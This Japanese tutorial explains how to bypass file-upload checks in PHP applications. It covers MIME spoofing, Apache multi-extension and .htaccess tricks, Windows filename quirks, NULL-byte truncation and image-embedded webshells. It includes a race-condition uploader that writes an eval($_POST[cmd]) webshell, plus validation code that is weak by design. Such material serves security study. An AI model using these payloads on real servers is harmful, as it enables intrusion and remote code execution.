MIMEタイプバイパス
サーバー側で特定のMIMEタイプを制限することでファイルアップロード脆弱性の悪用を防止する手法があります。一般的なファイルのMIMEタイプは以下の通りです:
.txt - text/plain
.html - text/html
.php - application/octet-stream
.png - image/png
.jpg - image/jpeg
.gif - image/gif
実装例:
$upload_status = false;
$message = null;
if (isset($_POST['submit_btn'])) {
if (file_exists($UPLOAD_DIR)) {
if (($_FILES['user_file']['type'] == 'image/jpeg')
|| ($_FILES['user_file']['type'] == 'image/png')
|| ($_FILES['user_file']['type'] == 'image/gif')) {
// 許可されたMIMEタイプの処理
}
}
}
この検証はBurpSuiteなどのツールでリクエスト内のMIMEタイプをimage/jpegに変更することでバイパス可能です。
ファイル拡張子バイパス
Apache解析脆弱性
Apacheの設定で複数の拡張子をPHPとして解析する設定がある場合:
AddType application/x-httpd-php .php .php3 .phtml
防御コード例:
$blocked_exts = array('.asp','.aspx','.php','.jsp');
$filename = trim($_FILES['user_file']['name']);
$file_ext = strtolower(strrchr($filename, '.'));
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);
if(!in_array($file_ext, $blocked_exts)) {
// ファイルアップロード処理
}
バイパス手法:
- Webshellの拡張子を.php3や.phtmlに変更
- 1.php.xxxxのような形式でアップロード(Apacheは右から左に解析)
.htaccessファイル悪用
.htaccessファイルをアップロードし、サーバーの挙動を変更:
SetHandler application/x-httpd-php
これにより、そのディレクトリ内の全てのファイルがPHPとして実行されます。
Windowsシステムの解析特性
Windowsではファイル名末尾のドットやスペースが自動的に除去される特性を利用:
- ファイル名を「shell.php.」としてアップロード
- 「file.<<<」で既存ファイルを上書き
PHPファイル切り捨て脆弱性
PHP 5.3.4未満では%00(NULLバイト)を文字列終端として扱う特性があり、これによりパス検証をバイパスできます。
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
save_pathパラメータに「upload/shell.php%00」を指定すると、%00以降が切り捨てられshell.phpが作成されます。
画像ファイル悪用
Webshellコードを画像ファイルに埋め込み、ファイル包含脆弱性と組み合わせて実行:
copy image.jpg /b + webshell.php /a malicious_image.jpg
画像のメタデータ検査をバイパスするため、画像の再生後も変更されない部分にコードを挿入します。
競合状態脆弱性
ファイルアップロードと削除の時間差を悪用:
<?php
file_put_contents('../shell.php', '<?php eval($_POST[cmd]); ?>');
?>
このファイルをアップロード後、削除される前に即座にアクセスすることで永続的なWebshellを設置します。
phpcmsアバターアップロード脆弱性
phpcmsのアバターアップロード機能に存在した脆弱性は、適切な検証が不足していたため悪用可能でした。